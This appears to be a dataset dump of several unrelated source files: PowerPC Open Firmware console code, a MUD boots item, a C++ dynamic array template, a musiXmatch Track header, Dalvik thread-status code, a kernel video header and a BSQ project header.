}
if (OF_getprop(chosen, "stdin", &stdin, sizeof stdin) != sizeof stdin) {
return 0;
}
OF_stdin = stdin;
if (OF_getprop(chosen, "stdout", &stdout, sizeof stdout)
!= sizeof stdout) {
return 0;
}
if (stdout == 0) {
/* If the screen is to be console, but not active, open it */
stdout = OF_open("screen");
}
OF_stdout = stdout;
chosen = OF_finddevice("/chosen");
OF_getprop(chosen, "mmu", &mmui, 4);
mmu = OF_instance_to_package(mmui);
bzero(ofw_mapping, sizeof(ofw_mapping));
N_mapping = OF_getprop(mmu, "translations", ofw_mapping,
sizeof(ofw_mapping));
N_mapping /= sizeof(ofw_mapping[0]);
fw = &ofw_firmware;
fwcall = &fwentry;
return 0;
}
struct pmap ofw_pmap;
int
restore_ofw_mapping()
{
int i;
pmap_pinit(&ofw_pmap);
ofw_pmap.pm_sr[KERNEL_SR] = KERNEL_SEGMENT;
for (i = 0; i < N_mapping; i++) {
vm_offset_t pa = ofw_mapping[i].pa;
vm_offset_t va = ofw_mapping[i].va;
int size = ofw_mapping[i].len;
if (va < 0xf8000000) /* XXX */
continue;
while (size > 0) {
pmap_enter(&ofw_pmap, va, pa, VM_PROT_ALL, PMAP_WIRED);
pa += NBPG;
va += NBPG;
size -= NBPG;
}
}
pmap_update(pmap_kernel());
return 0;
}
typedef void (void_f) (void);
extern void_f *pending_int_f;
void ofw_do_pending_int(void);
extern int system_type;
void ofw_intr_init(void);
void
ofrootfound()
{
int node;
struct ofprobe probe;
if (!(node = OF_peer(0)))
panic("No PROM root");
probe.phandle = node;
if (!config_rootfound("ofroot", &probe))
panic("ofroot not configured");
if (system_type == OFWMACH) {
pending_int_f = ofw_do_pending_int;
ofw_intr_init();
}
}
void
ofw_intr_establish()
{
if (system_type == OFWMACH) {
pending_int_f = ofw_do_pending_int;
ofw_intr_init();
}
}
void
ofw_intr_init()
{
/*
* There are tty, network and disk drivers that use free() at interrupt
* time, so imp > (tty | net | bio).
*/
/* with openfirmware drivers all levels block clock
* (have to block polling)
*/
imask[IPL_IMP] = SPL_CLOCK;
imask[IPL_TTY] = SPL_CLOCK | SINT_TTY;
imask[IPL_NET] = SPL_CLOCK | SINT_NET;
imask[IPL_BIO] = SPL_CLOCK;
imask[IPL_IMP] |= imask[IPL_TTY] | imask[IPL_NET] | imask[IPL_BIO];
/*
* Enforce a hierarchy that gives slow devices a better chance at not
* dropping data.
*/
imask[IPL_TTY] |= imask[IPL_NET] | imask[IPL_BIO];
imask[IPL_NET] |= imask[IPL_BIO];
/*
* These are pseudo-levels.
*/
imask[IPL_NONE] = 0x00000000;
imask[IPL_HIGH] = 0xffffffff;
}
void
ofw_do_pending_int()
{
int pcpl;
int s;
static int processing;
if(processing)
return;
processing = 1;
s = ppc_intr_disable();
pcpl = splhigh(); /* Turn off all */
if((ipending & SINT_CLOCK) && ((pcpl & imask[IPL_CLOCK]) == 0)) {
ipending &= ~SINT_CLOCK;
softclock();
}
if((ipending & SINT_NET) && ((pcpl & imask[IPL_NET]) == 0) ) {
extern int netisr;
int pisr = netisr;
netisr = 0;
ipending &= ~SINT_NET;
softnet(pisr);
}
ipending &= pcpl;
cpl = pcpl; /* Don't use splx... we are here already! */
ppc_intr_enable(s);
processing = 0;
}
#include <dev/pci/pcivar.h>
#include <arch/macppc/pci/vgafb_pcivar.h>
static pcitag_t ofw_make_tag( void *cpv, int bus, int dev, int fnc);
/* ARGSUSED */
static pcitag_t
ofw_make_tag(void *cpv, int bus, int dev, int fnc)
{
return (bus << 16) | (dev << 11) | (fnc << 8);
}
#define OFW_PCI_PHYS_HI_BUSMASK 0x00ff0000
#define OFW_PCI_PHYS_HI_BUSSHIFT 16
#define OFW_PCI_PHYS_HI_DEVICEMASK 0x0000f800
#define OFW_PCI_PHYS_HI_DEVICESHIFT 11
#define OFW_PCI_PHYS_HI_FUNCTIONMASK 0x00000700
#define OFW_PCI_PHYS_HI_FUNCTIONSHIFT 8
#define pcibus(x) \
(((x) & OFW_PCI_PHYS_HI_BUSMASK) >> OFW_PCI_PHYS_HI_BUSSHIFT)
#define pcidev(x) \
(((x) & OFW_PCI_PHYS_HI_DEVICEMASK) >> OFW_PCI_PHYS_HI_DEVICESHIFT)
#define pcifunc(x) \
(((x) & OFW_PCI_PHYS_HI_FUNCTIONMASK) >> OFW_PCI_PHYS_HI_FUNCTIONSHIFT)
struct ppc_bus_space ppc_membus;
int cons_displaytype=0;
bus_space_tag_t cons_membus = &ppc_membus;
bus_space_handle_t cons_display_mem_h;
bus_space_handle_t cons_display_ctl_h;
int cons_height, cons_width, cons_linebytes, cons_depth;
int cons_display_ofh;
u_int32_t cons_addr;
int cons_brightness;
int cons_backlight_available;
#include "vgafb_pci.h"
struct usb_kbd_ihandles {
struct usb_kbd_ihandles *next;
int ihandle;
};
void of_display_console(void);
void
ofwconprobe()
{
char type[32];
int stdout_node;
stdout_node = OF_instance_to_package(OF_stdout);
/* handle different types of console */
bzero(type, sizeof(type));
if (OF_getprop(stdout_node, "device_type", type, sizeof(type)) == -1) {
return; /* XXX */
}
if (strcmp(type, "display") == 0) {
of_display_console();
return;
}
if (strcmp(type, "serial") == 0) {
#if NZSTTY > 0
/* zscnprobe/zscninit do all the required initialization */
return;
#endif
}
OF_stdout = OF_open("screen");
OF_stdin = OF_open("keyboard");
/* cross fingers that this works. */
of_display_console();
return;
}
#define DEVTREE_UNKNOWN 0
#define DEVTREE_USB 1
#define DEVTREE_ADB 2
#define DEVTREE_HID 3
int ofw_devtree = DEVTREE_UNKNOWN;
#define OFW_HAVE_USBKBD 1
#define OFW_HAVE_ADBKBD 2
int ofw_have_kbd = 0;
void ofw_recurse_keyboard(int pnode);
void ofw_find_keyboard(void);
void
ofw_recurse_keyboard(int pnode)
{
char name[32];
int old_devtree;
int len;
int node;
for (node = OF_child(pnode); node != 0; node = OF_peer(node)) {
len = OF_getprop(node, "name", name, 20);
if (len == 0)
continue;
name[len] = 0;
if (strcmp(name, "keyboard") == 0) {
/* found a keyboard node, where is it? */
if (ofw_devtree == DEVTREE_USB) {
ofw_have_kbd |= OFW_HAVE_USBKBD;
} else if (ofw_devtree == DEVTREE_ADB) {
ofw_have_kbd |= OFW_HAVE_ADBKBD;
} else {
/* hid or some other keyboard? igore */
}
continue;
}
old_devtree = ofw_devtree;
if (strcmp(name, "adb") == 0) {
ofw_devtree = DEVTREE_ADB;
}
if (strcmp(name, "usb") == 0) {
ofw_devtree = DEVTREE_USB;
}
ofw_recurse_keyboard(node);
ofw_devtree = old_devtree; /* nest? */
}
}
void
ofw_find_keyboard()
{
int stdin_node;
char iname[32];
int len;
stdin_node = OF_instance_to_package(OF_stdin);
len = OF_getprop(stdin_node, "name", iname, 20);
iname[len] = 0;
printf("console in [%s] ", iname);
/* GRR, apple removed the interface once used for keyboard
* detection walk the OFW tree to find keyboards and what type.
*/
ofw_recurse_keyboard(OF_peer(0));
if (ofw_have_kbd == 0) {
printf("no keyboard found, hoping USB will be present\n");
#if NUKBD > 0
ukbd_cnattach();
#endif
}
if (ofw_have_kbd == (OFW_HAVE_USBKBD|OFW_HAVE_ADBKBD)) {
#if NUKBD > 0
printf("USB and ADB found, using USB\n");
ukbd_cnattach();
#else
ofw_have_kbd = OFW_HAVE_ADBKBD; /* ??? */
#endif
}
if (ofw_have_kbd == OFW_HAVE_USBKBD) {
#if NUKBD > 0
printf("USB found\n");
ukbd_cnattach();
#endif
} else if (ofw_have_kbd == OFW_HAVE_ADBKBD) {
#if NAKBD >0
printf("ADB found\n");
akbd_cnattach();
#endif
}
}
void
of_display_console()
{
#if NVGAFB_PCI > 0
char name[32];
int len;
int stdout_node;
int display_node;
int err;
u_int32_t memtag, iotag;
struct ppc_pci_chipset pa;
struct {
u_int32_t phys_hi, phys_mid, phys_lo;
u_int32_t size_hi, size_lo;
} addr [8];
pa.pc_make_tag = &ofw_make_tag;
stdout_node = OF_instance_to_package(OF_stdout);
len = OF_getprop(stdout_node, "name", name, 20);
name[len] = 0;
printf("console out [%s]", name);
cons_displaytype=1;
cons_display_ofh = OF_stdout;
err = OF_getprop(stdout_node, "width", &cons_width, 4);
if ( err != 4) {
cons_width = 0;
}
err = OF_getprop(stdout_node, "linebytes", &cons_linebytes, 4);
if ( err != 4) {
cons_linebytes = cons_width;
}
err = OF_getprop(stdout_node, "height", &cons_height, 4);
if ( err != 4) {
cons_height = 0;
}
err = OF_getprop(stdout_node, "depth", &cons_depth, 4);
if ( err != 4) {
cons_depth = 0;
}
err = OF_getprop(stdout_node, "address", &cons_addr, 4);
if ( err != 4) {
OF_interpret("frame-buffer-adr", 1, &cons_addr);
}
ofw_find_keyboard();
display_node = stdout_node;
len = OF_getprop(stdout_node, "assigned-addresses", addr, sizeof(addr));
if (len == -1) {
display_node = OF_parent(stdout_node);
len = OF_getprop(display_node, "name", name, 20);
name[len] = 0;
printf("using parent %s:", name);
len = OF_getprop(display_node, "assigned-addresses",
addr, sizeof(addr));
if (len < sizeof(addr[0])) {
panic(": no address");
}
}
if (OF_getnodebyname(0, "backlight") != 0)
cons_backlight_available = 1;
memtag = ofw_make_tag(NULL, pcibus(addr[0].phys_hi),
pcidev(addr[0].phys_hi),
pcifunc(addr[0].phys_hi));
iotag = ofw_make_tag(NULL, pcibus(addr[1].phys_hi),
pcidev(addr[1].phys_hi),
pcifunc(addr[1].phys_hi));
#if 1
printf(": memaddr %x size %x, ", addr[0].phys_lo, addr[0].size_lo);
printf(": consaddr %x, ", cons_addr);
printf(": ioaddr %x, size %x", addr[1].phys_lo, addr[1].size_lo);
printf(": memtag %x, iotag %x", memtag, iotag);
printf(": width %d linebytes %d height %d depth %d\n",
cons_width, cons_linebytes, cons_height, cons_depth);
#endif
{
int i;
cons_membus->bus_base = 0x80000000;
cons_membus->bus_reverse = 1;
#if 0
err = bus_space_map( cons_membus, cons_addr, addr[0].size_lo,
0, &cons_display_mem_h);
printf("mem map err %x",err);
bus_space_map( cons_membus, addr[1].phys_lo, addr[1].size_lo,
0, &cons_display_ctl_h);
#endif
vgafb_pci_console(cons_membus,
addr[1].phys_lo, addr[1].size_lo,
cons_membus,
cons_addr, addr[0].size_lo,
&pa, pcibus(addr[1].phys_hi), pcidev(addr[1].phys_hi),
pcifunc(addr[1].phys_hi));
#if 1
for (i = 0; i < cons_linebytes * cons_height; i++) {
bus_space_write_1(cons_membus,
cons_display_mem_h, i, 0);
}
#endif
}
if (cons_backlight_available == 1)
of_setbrightness(DEFAULT_BRIGHTNESS);
#endif
}
void
of_setbrightness(int brightness)
{
#if NVGAFB_PCI > 0
if (cons_backlight_available == 0)
return;
if (brightness < MIN_BRIGHTNESS)
brightness = MIN_BRIGHTNESS;
else if (brightness > MAX_BRIGHTNESS)
brightness = MAX_BRIGHTNESS;
cons_brightness = brightness;
/*
* The OF method is called "set-contrast" but affects brightness.
* Don't ask.
*/
OF_call_method_1("set-contrast", cons_display_ofh, 1, cons_brightness);
/* XXX this routine should also save the brightness settings in the nvram */
#endif
}
#include <dev/cons.h>
cons_decl(ofw);
/*
* Console support functions
*/
void
ofwcnprobe(struct consdev *cd)
{
cd->cn_pri = CN_DEAD;
}
void
ofwcninit(struct consdev *cd)
{
}
void
ofwcnputc(dev_t dev, int c)
{
char ch = c;
OF_write(OF_stdout, &ch, 1);
}
int
ofwcngetc(dev_t dev)
{
unsigned char ch = '\0';
int l;
while ((l = OF_read(OF_stdin, &ch, 1)) != 1)
if (l != -2 && l != 0)
return -1;
return ch;
}
void
ofwcnpollc(dev_t dev, int on)
{
}
struct consdev consdev_ofw = {
ofwcnprobe,
ofwcninit,
ofwcngetc,
ofwcnputc,
ofwcnpollc,
NULL,
};
void
ofwconsinit()
{
struct consdev *cp;
cp = &consdev_ofw;
cn_tab = cp;
}
| 22.554094 | 79 | 0.687496 |
bd2b34583279ac8996c4ec56f609b993d587fd8a | 1,819 | c | C | d/islands/common/obj/rangerboots.c | KismetSuS/SunderingShadows | fbf0cd60c72c5cc2649ee6a17a91b104571d70b8 | [
"MIT"
] | 13 | 2019-07-19T05:24:44.000Z | 2021-11-18T04:08:19.000Z | d/islands/common/obj/rangerboots.c | KismetSuS/SunderingShadows | fbf0cd60c72c5cc2649ee6a17a91b104571d70b8 | [
"MIT"
] | null | null | null | d/islands/common/obj/rangerboots.c | KismetSuS/SunderingShadows | fbf0cd60c72c5cc2649ee6a17a91b104571d70b8 | [
"MIT"
] | 13 | 2019-09-12T06:22:38.000Z | 2022-01-31T01:15:12.000Z | #include <std.h>
inherit ARMOUR;
void create(){
::create();
set_name("%^RESET%^%^GREEN%^Forest boots%^RESET%^");
set_id(({ "boots", "suede boots" }));
set_short("%^RESET%^%^GREEN%^Woodsman's boots%^RESET%^");
set_obvious_short("%^RESET%^%^GREEN%^Forest green suede boots%^RESET%^");
set_long("%^RESET%^%^GREEN%^These supple suede boots are dyed a deep shade"
" of %^BOLD%^fo%^RESET%^%^GREEN%^re%^BOLD%^st g%^RESET%^%^GREEN%^ree%^BOLD%^n%^RESET%^%^GREEN%^. The tops have been folded"
" over to create a four inch rim, and thick %^ORANGE%^leather laces %^GREEN%^run up the back of the boots so they may be tightly secured around the"
" wearers lower calf for optimal fit. A layer of %^ORANGE%^hardened leather %^GREEN%^has been sewn into the soles of the boots to protect the wearers feet, but"
" remain pliable enough for those that need quick, quiet movement.%^RESET%^");
set_lore("The footwear of the famed glory hunters are rumored to be amongst some of the best designed in the realms."
" This is not only because of their superb craftsmanship and finest materials, but also because much care has been taken to embue them with "
"magical qualities from master enchanters. These particular boots especially have been rumored to be extraordinarily easy to move in, but were thought to have"
"disappeared along with the disappearance of the hunters.\n");
set_weight(3);
set_value(245);
set_type("clothing");
set_limbs(({ "right foot", "left foot" }));
set_size(-1);
set_property("enchantment",5);
set_wear((:TO,"wear_func":));
set_item_bonus("athletics",5);
set_item_bonus("survival",5);
set_item_bonus("dexterity",4);
}
int wear_func(){
tell_room(environment(ETO),"",ETO);
tell_object(ETO,"%^RESET%^%^GREEN%^You slip on the comfortable boots and wonder why you've not had these before.%^RESET%^");
return 1;
}
| 50.527778 | 161 | 0.726223 |
bd2b900c13939a07f0c7f018963c027a103e9145 | 5,719 | h | C | Homeworks/0_CppPratices/project/src/executables/CppPractices_executables_3_TemplateDArray/Darray.h | bigpehi/USTC_CG | 847f5685ecdb45a9e8c9373f575e573a5328ae65 | [
"MIT"
] | null | null | null | Homeworks/0_CppPratices/project/src/executables/CppPractices_executables_3_TemplateDArray/Darray.h | bigpehi/USTC_CG | 847f5685ecdb45a9e8c9373f575e573a5328ae65 | [
"MIT"
] | null | null | null | Homeworks/0_CppPratices/project/src/executables/CppPractices_executables_3_TemplateDArray/Darray.h | bigpehi/USTC_CG | 847f5685ecdb45a9e8c9373f575e573a5328ae65 | [
"MIT"
] | null | null | null | #pragma once
#pragma once
// implementation of class DArray
#include <iostream>
#include <assert.h>
using namespace std;
// interfaces of Dynamic Array class DArray
template <class DataType>
class DArray {
public:
DArray(); // default constructor
DArray(int nSize, DataType dValue = 0); // set an array with default values
DArray(const DArray& arr); // copy constructor
~DArray(); // deconstructor
void Print() const; // print the elements of the array
int GetSize() const; // get the size of the array
void SetSize(int nSize); // set the size of the array
const DataType& GetAt(int nIndex) const; // get an element at an index
void SetAt(int nIndex, DataType dValue); // set the value of an element
DataType& operator[](int nIndex); // overload operator '[]'
const DataType& operator[](int nIndex) const; // overload operator '[]'
void PushBack(DataType dValue); // add a new element at the end of the array
void DeleteAt(int nIndex); // delete an element at some index
void InsertAt(int nIndex, DataType dValue); // insert a new element at some index
DArray& operator = (const DArray& arr); //overload operator '='
private:
DataType* m_pData; // the pointer to the array memory
int m_nSize; // the size of the array
int m_nMax;
private:
void Init(); // initilize the array
void Free(); // free the array
void Reserve(int nSize); // allocate enough memory
};
// default constructor
template <class DataType>
DArray<DataType>::DArray() {
Init();
}
// set an array with default values
template <class DataType>
DArray<DataType>::DArray(int nSize, DataType dValue) :m_nSize(nSize) {
while (m_nMax < nSize)
m_nMax *= 2;
for (int i = 0; i < nSize; i++)
m_pData[i] = dValue;
for (int i = nSize; i < m_nMax; i++)
m_pData[i] = 0.;
}
template <class DataType>
DArray<DataType>::DArray(const DArray& arr) :
m_nSize(arr.m_nSize), m_nMax(arr.m_nMax), m_pData(new DataType[arr.m_nSize]) {
memcpy(m_pData, arr.m_pData, sizeof(DataType) * m_nSize);
}
// deconstructor
template <class DataType>
DArray<DataType>::~DArray() {
Free();
}
// display the elements of the array
template <class DataType>
void DArray<DataType>::Print() const {
cout << endl << "Size:" << m_nSize << " MaxSize:" << m_nMax << endl;
cout << "Content: ";
for (int i = 0; i < m_nSize; i++)
cout << m_pData[i] << " ";
}
// initilize the array
template <class DataType>
void DArray<DataType>::Init() {
m_pData = nullptr;
m_nMax = 0;
m_nSize = 0;
}
// free the array
template <class DataType>
void DArray<DataType>::Free() {
delete[] m_pData;
m_pData = nullptr;
m_nMax = 0;
m_nSize = 0;
}
template <class DataType>
void DArray<DataType>::Reserve(int nSize) {
if (nSize == 0)
return;
if (nSize >= m_nMax) {
int m_nMax_temp = 1;
while (m_nMax_temp <= nSize)
m_nMax_temp *= 2;
DataType* m_pData_temp = new DataType[m_nMax_temp];
memcpy(m_pData_temp, m_pData, sizeof(DataType) * m_nMax);
for (int i = m_nSize; i < m_nMax_temp; i++)
m_pData_temp[i] = 0.;
delete[] m_pData;
m_pData = m_pData_temp;
m_nMax = m_nMax_temp;
}
if (nSize < m_nMax / 2) {
int m_nMax_temp = m_nMax;
while (m_nMax_temp < nSize)
m_nMax_temp *= 2;
DataType* m_pData_temp = new DataType[m_nMax];
for (int i = 0; i < m_nMax_temp; i++) {
m_pData_temp[i] = m_pData[i];
}
delete[] m_pData;
m_pData = m_pData_temp;
m_nMax = m_nMax_temp;
}
}
// get the size of the array
template <class DataType>
int DArray<DataType>::GetSize() const {
return m_nSize; // you should return a correct value
}
// set the size of the array
template <class DataType>
void DArray<DataType>::SetSize(int nSize) {
Reserve(nSize);
if (nSize < m_nSize) {
for (int i = nSize; i < m_nSize; i++)
m_pData[i] = 0.;
}
m_nSize = nSize;
}
// get an element at an index
template <class DataType>
const DataType& DArray<DataType>::GetAt(int nIndex) const {
assert(nIndex >= 0 && nIndex < m_nSize);
return m_pData[nIndex]; // you should return a correct value
}
// set the value of an element
template <class DataType>
void DArray<DataType>::SetAt(int nIndex, DataType dValue) {
assert(nIndex >= 0 && nIndex <= m_nSize);
m_pData[nIndex] = dValue;
}
// overload operator '[]'
template <class DataType>
DataType& DArray<DataType>::operator[](int nIndex) {
assert(nIndex >= 0 && nIndex < m_nSize);
return m_pData[nIndex]; // you should return a correct value
}
// overload operator '[]'
template <class DataType>
const DataType& DArray<DataType>::operator[](int nIndex) const {
assert(nIndex >= 0 && nIndex < m_nSize);
return m_pData[nIndex]; // you should return a correct value
}
// add a new element at the end of the array
template <class DataType>
void DArray<DataType>::PushBack(DataType dValue) {
Reserve(m_nSize + 1);
m_nSize++;
m_pData[m_nSize - 1] = dValue;
}
// delete an element at some index
template <class DataType>
void DArray<DataType>::DeleteAt(int nIndex) {
assert(nIndex >= 0 && nIndex < m_nSize);
Reserve(m_nSize - 1);
for (int i = nIndex; i < m_nSize; i++)
m_pData[i] = m_pData[i + 1];
m_nSize--;
}
// insert a new element at some index
template <class DataType>
void DArray<DataType>::InsertAt(int nIndex, DataType dValue) {
assert(nIndex >= 0 && nIndex <= m_nSize);
Reserve(m_nSize + 1);
m_nSize++;
for (int i = m_nSize; i > nIndex; i--)
m_pData[i] = m_pData[i - 1];
m_pData[nIndex] = dValue;
}
// overload operator '='
template <class DataType>
DArray<DataType>& DArray<DataType>::operator = (const DArray<DataType>& arr) {
if (m_pData != nullptr) {
delete[] m_pData;
m_pData = nullptr;
}
m_nSize = arr.m_nSize;
m_nMax = arr.m_nMax;
m_pData = new DataType[arr.m_nSize];
memcpy(m_pData, arr.m_pData, sizeof(DataType) * m_nSize);
return *this;
}
| 25.53125 | 82 | 0.685435 |
bd2bb4b4628c3f1a15512c83973e0268aa9aef40 | 1,126 | h | C | Classes/Track.h | NextFaze/musiXmatch | dbdbaa5a7a85f60fe9e45643a399dccf3e68d595 | [
"MIT"
] | 4 | 2015-02-21T17:02:54.000Z | 2019-12-20T00:12:16.000Z | Classes/Track.h | NextFaze/musiXmatch | dbdbaa5a7a85f60fe9e45643a399dccf3e68d595 | [
"MIT"
] | null | null | null | Classes/Track.h | NextFaze/musiXmatch | dbdbaa5a7a85f60fe9e45643a399dccf3e68d595 | [
"MIT"
] | 5 | 2015-02-21T17:03:43.000Z | 2018-05-07T07:44:15.000Z | //
// Track.h
// MusiXmatch
//
// Created by Roman Shterenzon on 9/27/10.
// Copyright 2010 __MyCompanyName__. All rights reserved.
//
#import <Foundation/Foundation.h>
@class Artist;
@interface Track : NSObject {
Artist *artist;
NSString *name;
NSUInteger mxmId;
NSString *mbId;
NSUInteger lyricsId;
NSString *lyrics;
}
@property (nonatomic,retain,readonly) Artist *artist;
@property (nonatomic,retain,readonly) NSString *name;
@property (nonatomic,readonly) NSUInteger mxmId;
@property (nonatomic,retain,readonly) NSString *mbId;
@property (readonly) NSUInteger lyricsId;
@property (nonatomic,retain,readonly) NSString *lyrics;
// Get the track with the provided MusiXmatch id
+ (id)trackWithId:(NSUInteger)trackId;
/* Create a track from a dictionary. The dictionary should have the following keys:
@"track_id"
@"track_mbid"
@"lyrics_id"
@"track_name"
@"artist_id"
@"artist_mbid"
@"artist_name"
*/
- (id)initWithDictionary:(NSDictionary*)dict;
- (id)initWithArtist:(Artist*)theArtist name:(NSString*)theName mxmId:(NSUInteger)theMxmId mbId:(NSString*)theMbId lyricsId:(NSUInteger)theLyricsId;
@end
| 24.478261 | 148 | 0.75222 |
bd2be03e71331e1d0b5d799b04dc7a50fb5fa4b3 | 5,459 | c | C | vm/native/SystemThread.c | snajdan890525/android-dalvik-sourcecode | a866eaf01ec9408ff142f555273cc64bbe548557 | [
"Apache-2.0"
] | 13 | 2015-09-30T03:09:20.000Z | 2020-11-04T11:28:30.000Z | vm/native/SystemThread.c | bigbrother82/android-test | 51ab0adb191273f9e28441724f1384c31779c125 | [
"Apache-2.0"
] | null | null | null | vm/native/SystemThread.c | bigbrother82/android-test | 51ab0adb191273f9e28441724f1384c31779c125 | [
"Apache-2.0"
] | 13 | 2015-05-17T12:55:10.000Z | 2020-09-03T02:04:16.000Z | /*
* Copyright (C) 2009 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define LOG_TAG "SystemThread"
/*
* System thread support.
*/
#include "Dalvik.h"
#include "native/SystemThread.h"
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
struct SystemThread {
/*
* /proc/PID/task/TID/stat. -1 if not opened yet. -2 indicates an error
* occurred while opening the file.
*/
int statFile;
/* Offset of state char in stat file, last we checked. */
int stateOffset;
};
void dvmDetachSystemThread(Thread* thread) {
if (thread->systemThread != NULL) {
if (thread->systemThread->statFile > -1) {
close(thread->systemThread->statFile);
}
free(thread->systemThread);
thread->systemThread = NULL;
}
}
/* Converts a Linux thread state to a ThreadStatus. */
static ThreadStatus stateToStatus(char state) {
switch (state) {
case 'R': return THREAD_RUNNING; // running
case 'S': return THREAD_WAIT; // sleeping in interruptible wait
case 'D': return THREAD_WAIT; // uninterruptible disk sleep
case 'Z': return THREAD_ZOMBIE; // zombie
case 'T': return THREAD_WAIT; // traced or stopped on a signal
case 'W': return THREAD_WAIT; // paging memory
default:
LOGE("Unexpected state: %c", state);
return THREAD_NATIVE;
}
}
/* Reads the state char starting from the beginning of the file. */
static char readStateFromBeginning(SystemThread* thread) {
char buffer[256];
int size = read(thread->statFile, buffer, sizeof(buffer) - 1);
if (size <= 0) {
LOGE("read() returned %d: %s", size, strerror(errno));
return 0;
}
char* endOfName = (char*) memchr(buffer, ')', size);
if (endOfName == NULL) {
LOGE("End of executable name not found.");
return 0;
}
char* state = endOfName + 2;
if ((state - buffer) + 1 > size) {
LOGE("Unexpected EOF while trying to read stat file.");
return 0;
}
thread->stateOffset = state - buffer;
return *state;
}
/*
* Looks for the state char at the last place we found it. Read from the
* beginning if necessary.
*/
static char readStateRelatively(SystemThread* thread) {
char buffer[3];
// Position file offset at end of executable name.
int result = lseek(thread->statFile, thread->stateOffset - 2, SEEK_SET);
if (result < 0) {
LOGE("lseek() error.");
return 0;
}
int size = read(thread->statFile, buffer, sizeof(buffer));
if (size < (int) sizeof(buffer)) {
LOGE("Unexpected EOF while trying to read stat file.");
return 0;
}
if (buffer[0] != ')') {
// The executable name must have changed.
result = lseek(thread->statFile, 0, SEEK_SET);
if (result < 0) {
LOGE("lseek() error.");
return 0;
}
return readStateFromBeginning(thread);
}
return buffer[2];
}
ThreadStatus dvmGetSystemThreadStatus(Thread* thread) {
ThreadStatus status = thread->status;
if (status != THREAD_NATIVE) {
// Return cached status so we don't accidentally return THREAD_NATIVE.
return status;
}
if (thread->systemThread == NULL) {
thread->systemThread = (SystemThread*) malloc(sizeof(SystemThread));
if (thread->systemThread == NULL) {
LOGE("Couldn't allocate a SystemThread.");
return THREAD_NATIVE;
}
thread->systemThread->statFile = -1;
}
SystemThread* systemThread = thread->systemThread;
if (systemThread->statFile == -2) {
// We tried and failed to open the file earlier. Return current status.
return thread->status;
}
// Note: see "man proc" for the format of stat.
// The format is "PID (EXECUTABLE NAME) STATE_CHAR ...".
// Example: "15 (/foo/bar) R ..."
char state;
if (systemThread->statFile == -1) {
// We haven't tried to open the file yet. Do so.
char fileName[256];
sprintf(fileName, "/proc/self/task/%d/stat", thread->systemTid);
systemThread->statFile = open(fileName, O_RDONLY);
if (systemThread->statFile == -1) {
LOGE("Error opening %s: %s", fileName, strerror(errno));
systemThread->statFile = -2;
return thread->status;
}
state = readStateFromBeginning(systemThread);
} else {
state = readStateRelatively(systemThread);
}
if (state == 0) {
close(systemThread->statFile);
systemThread->statFile = -2;
return thread->status;
}
ThreadStatus nativeStatus = stateToStatus(state);
// The thread status could have changed from NATIVE.
status = thread->status;
return status == THREAD_NATIVE ? nativeStatus : status;
}
| 32.111765 | 79 | 0.620626 |
bd2c969cb116d1873fb85235aeef8a48fda5dcf6 | 844 | h | C | kernel/includes/graphics/video.h | vmartinv/nek | 04260400ed4ee52e70106b32c0569c3416df6acb | [
"MIT"
] | 30 | 2018-11-26T08:44:12.000Z | 2022-01-05T08:20:14.000Z | kernel/includes/graphics/video.h | mvpossum/nek | 04260400ed4ee52e70106b32c0569c3416df6acb | [
"MIT"
] | null | null | null | kernel/includes/graphics/video.h | mvpossum/nek | 04260400ed4ee52e70106b32c0569c3416df6acb | [
"MIT"
] | 2 | 2018-10-23T15:17:25.000Z | 2018-12-19T17:34:15.000Z | #ifndef VIDEO_H
#define VIDEO_H
#include <types.h>
#ifdef __cplusplus
extern "C" {
#endif
#define NES_WIDTH 256
#define NES_HEIGHT 240
struct svga_mode_info;
void video_init(struct svga_mode_info *svga_mode_info);
void video_updatepixel_raw(int y,int x,u32 c);
extern u32 video_width, video_height, video_depth, video_bpl;
int video_getwidth();
int video_getheight();
int video_getbpp();
void video_draw(int px, int py, const char *data, const int width, const int height);
#define RGB(r,g,b) (((uint8_t)r)<<16|((uint8_t)g)<<8|((uint8_t)b))
//For NES Emulator
u8 *video_get_ptr();
extern void (*setpixel)(uint8_t *pos, uint32_t color);
//Consola
u16 *video_get_text_buffer();
unsigned video_get_lines();
unsigned video_get_cols();
void video_flush_console();
void video_flush_console2(int start);
#ifdef __cplusplus
}
#endif
#endif
| 20.585366 | 85 | 0.759479 |
bd3005f1701a02afa07d27b5e59ce7ad6ec86f47 | 2,463 | h | C | Project 03 - BSQ/Includes/ft_bsq.h | akharrou/42-Piscine-C | ed366f0b21ed48f55ed7e9ddb9e0e8a841f89b0e | [
"MIT"
] | 2 | 2019-08-05T03:11:47.000Z | 2022-02-20T01:31:32.000Z | Project 03 - BSQ/Includes/ft_bsq.h | akharrou/42-Piscine-C | ed366f0b21ed48f55ed7e9ddb9e0e8a841f89b0e | [
"MIT"
] | null | null | null | Project 03 - BSQ/Includes/ft_bsq.h | akharrou/42-Piscine-C | ed366f0b21ed48f55ed7e9ddb9e0e8a841f89b0e | [
"MIT"
] | 2 | 2020-09-07T20:42:51.000Z | 2021-09-07T10:49:02.000Z | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_bsq.h :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: akharrou <akharrou@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/12 08:59:53 by akharrou #+# #+# */
/* Updated: 2018/11/14 21:20:06 by akharrou ### ########.fr */
/* */
/* ************************************************************************** */
#ifndef FT_BSQ_H
# define FT_BSQ_H
# define BUFFER_SIZE 128
typedef unsigned char t_bool;
typedef unsigned char t_uint8;
typedef unsigned short t_uint16;
typedef unsigned int t_uint32;
typedef signed char t_int8;
typedef signed short t_int16;
typedef signed int t_int32;
typedef struct s_best_square
{
t_uint16 x;
t_uint16 y;
t_uint16 size;
} t_best_square;
typedef struct s_map_info
{
t_uint16 length;
t_uint16 height;
t_uint8 empty;
t_uint8 obstacle;
t_uint8 full;
t_uint32 str_size;
t_best_square sq;
} t_map;
typedef struct s_linked_list
{
struct s_linked_list *next;
char value;
} t_linked_list;
